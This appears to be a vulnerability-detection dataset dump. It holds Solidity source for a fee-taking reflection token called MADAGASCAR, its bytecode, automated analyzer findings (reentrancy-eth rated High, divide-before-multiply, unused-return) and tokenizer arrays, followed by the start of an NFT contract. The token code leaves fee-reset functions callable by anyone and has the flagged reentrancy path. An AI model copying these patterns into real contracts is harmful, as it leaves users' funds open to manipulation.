(bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** - Name (MADAGASCAR) - Symbol ($TIME) - Decimals (18) - Owners Address 0x62fbde1c02905371aae45552c619baaeF43330AC The Charity&Marketing wallet address 4% 0x34128167B2C4637bC1c379a5780360f3B69b502C Team Tax Wallet 2% Correction Team wallet 0xd218C2E368DaF8D5b2B28089Bc9910091b8afEd1 */ contract MADAGASCAR is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "MADAGASCAR"; string private _symbol = "$TIME"; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 2; uint256 private _previousLiquidityFee = _liquidityFee; uint256 private _burnFee = 0; uint256 private _previousBurnFee = _burnFee; uint256 public _fundingFee = 6; uint256 private _previousFundingFee = _fundingFee; address public charityAddress = 0x34128167B2C4637bC1c379a5780360f3B69b502C; // Acc 3 The Charity&Marketing wallet address address public communityAddress = 0x84d5b3fd87ba5a638d33E562088f063a38a306F4; // Marketing Wallet address public DevWallet = 0xd218C2E368DaF8D5b2B28089Bc9910091b8afEd1; // Acc5 Team Tax Wallet 2% IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 public _maxTxAmount = 1000000000000000 * 10**9; uint256 private numTokensSellToAddToLiquidity = 1000000000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xD99D1c33F9fC3444f8101754aBC46c52416550D1); //Testnet IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(account != 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F, 'We can not exclude Pancake router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() public { _taxFee = 0; _liquidityFee = 0; _burnFee = 0; _fundingFee = 0; } function restoreAllFee() public { _taxFee = 2; _liquidityFee = 2; _burnFee = 0; _fundingFee = 6; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount) private { if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ removeAllFee(); } else{ require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } //Calculate burn amount and funding amount uint256 burnAmt = amount.mul(_burnFee).div(100); uint256 fundingAmt = amount.mul(_fundingFee).div(100); uint256 fundingPiece = fundingAmt.div(6); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, (amount.sub(burnAmt).sub(fundingAmt))); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, (amount.sub(burnAmt).sub(fundingAmt))); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, (amount.sub(burnAmt).sub(fundingAmt))); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, (amount.sub(burnAmt).sub(fundingAmt))); } else { _transferStandard(sender, recipient, (amount.sub(burnAmt).sub(fundingAmt))); } //Temporarily remove fees to transfer to burn address _taxFee = 0; _liquidityFee = 0; _fundingFee = 0; //Send transfers to burn charity and community wallets // _transferStandard(sender, address(0), burnAmt); // comments for burning transfer _transferStandard(sender, charityAddress, fundingPiece.mul(2)); _transferStandard(sender, communityAddress, fundingPiece.mul(2)); _transferStandard(sender, DevWallet, fundingPiece.mul(2)); //Restore tax, liquidity, burn and funding fees _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; _fundingFee = _previousFundingFee; if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setCharityWallet(address newWallet) external onlyOwner() { charityAddress = newWallet; } function setDevWallet(address newWallet) external onlyOwner() { DevWallet = newWallet; } function setComunityWallet(address newWallet) external onlyOwner() { communityAddress = newWallet; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { // require(maxTxPercent > 10, "Cannot set transaction amount less than 10 percent!"); _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } }
0x7396dadba0338f2898ce0a1fe0d73c06b0c9cbb01f30146080604052600080fdfea264697066735822122032beead61d28eb194ecbc04ef47ded5f5487bcccb59d875eddc5c6b4ad20f09464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 14697, 3676, 2692, 22394, 2620, 2546, 22407, 2683, 2620, 3401, 2692, 27717, 7959, 2692, 2094, 2581, 2509, 2278, 2692, 2575, 2497, 2692, 2278, 2683, 27421, 2497, 24096, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1008, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,471
0x96dbfaf8e77cb3b5f7d205d71f321ebded37cca0
/** *Submitted for verification at Etherscan.io on 2021-08-06 */ // SPDX-License-Identifier: MIT // GO TO LINE 1913 TO SEE WHERE THE MOUTH BREATHERS STARTS // File: @openzeppelin/contracts/utils/Context.sol //The MIT License //Copyright (c) 2017-2019 0xcert, d.o.o. https://0xcert.org //Permission is hereby granted, free of charge, to any person obtaining a copy //of this software and associated documentation files (the "Software"), to deal //in the Software without restriction, including without limitation the rights //to use, copy, modify, merge, publish, distribute, sublicense, and/or sell //copies of the Software, and to permit persons to whom the Software is //furnished to do so, subject to the following conditions: //The above copyright notice and this permission notice shall be included in //all copies or substantial portions of the Software. //THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR //IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, //FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE //AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER //LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, //OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN //THE SOFTWARE. pragma solidity >=0.6.2 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ 